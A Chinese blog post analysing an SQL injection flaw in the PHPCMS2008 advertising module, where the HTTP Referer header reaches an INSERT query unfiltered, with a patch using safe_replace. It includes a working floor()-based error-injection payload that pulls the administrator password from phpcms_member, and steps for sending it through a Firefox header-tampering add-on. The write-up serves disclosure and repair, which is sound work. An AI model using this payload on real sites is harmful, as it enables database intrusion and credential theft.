PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
php addslashes 函数详细分析说明
Jun 23 PHP
一步一步学习PHP(2)――PHP类型
Feb 15 PHP
第六章 php目录与文件操作
Dec 30 PHP
php的POSIX 函数以及进程测试的深入分析
Jun 03 PHP
PHP内置的Math函数效率测试
Dec 01 PHP
如何使用PHP对网站验证码进行破解
Sep 17 PHP
求帮忙修改个php curl模拟post请求内容后并下载文件的解决思路
Sep 20 PHP
php 指定范围内多个随机数代码实例
Jul 18 PHP
thinkphp3.2.3版本的数据库增删改查实现代码
Sep 22 PHP
PHP开发的微信现金红包功能示例
Jun 29 PHP
php实现socket推送技术的示例
Dec 20 PHP
Laravel框架FormRequest中重写错误处理的方法
Feb 18 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
基于在生产环境中使用php性能测试工具xhprof的详解
2013/06/03 PHP
解析如何在PHP下载文件名中解决乱码的问题
2013/06/20 PHP
php简单定时执行任务的实现方法
2015/02/23 PHP
php爬取天猫和淘宝商品数据
2018/02/23 PHP
解决Laravel 使用insert插入数据,字段created_at为0000的问题
2019/10/11 PHP
JavaScript常用全局属性与方法记录积累
2013/07/03 Javascript
读取input:file的路径并显示本地图片的方法
2013/09/23 Javascript
jquery右下角弹出提示框示例代码
2013/10/08 Javascript
使用JS取得焦点(focus)元素代码
2014/03/22 Javascript
js判断当页面无法回退时关闭网页否则就history.go(-1)
2014/08/07 Javascript
AspNet中使用JQuery boxy插件的确认框
2015/05/20 Javascript
jQuery中extend()和fn.extend()方法详解
2015/06/03 Javascript
js改变css样式的三种方法推荐
2016/06/28 Javascript
angularJs中datatable实现代码
2017/06/03 Javascript
微信小程序实现卡片层叠滑动效果
2019/06/21 Javascript
JS实现可用滑块滑动的缓动图代码
2019/09/01 Javascript
原生js基于canvas实现一个简单的前端截图工具代码实例
2019/09/10 Javascript
[38:51]2014 DOTA2国际邀请赛中国区预选赛 Orenda VS LGD-CDEC
2014/05/22 DOTA
简单的Python抓taobao图片爬虫
2014/10/26 Python
python通过pil将图片转换成黑白效果的方法
2015/03/16 Python
利用numpy和pandas处理csv文件中的时间方法
2018/04/19 Python
Python实现的读取文件内容并写入其他文件操作示例
2019/04/09 Python
Django框架orM与自定义SQL语句混合事务控制操作
2019/06/27 Python
简单了解python的break、continue、pass
2019/07/08 Python
用Python爬取QQ音乐评论并制成词云图的实例
2019/08/24 Python
python可视化text()函数使用详解
2020/02/11 Python
Pycharm激活码激活两种快速方式(附最新激活码和插件)
2020/03/12 Python
美国派对用品及装饰品网上商店:Shindigz
2016/07/30 全球购物
Sql面试题
2013/03/20 面试题
EJB的几种类型
2012/08/15 面试题
电子商务应届生求职信
2013/11/16 职场文书
自荐信写法介绍
2014/01/25 职场文书
董事长秘书职责
2014/01/31 职场文书
动漫设计与制作专业推荐信
2014/07/07 职场文书
环保项目建议书
2014/08/26 职场文书
党的群众路线教育实践活动整改方案
2014/10/28 职场文书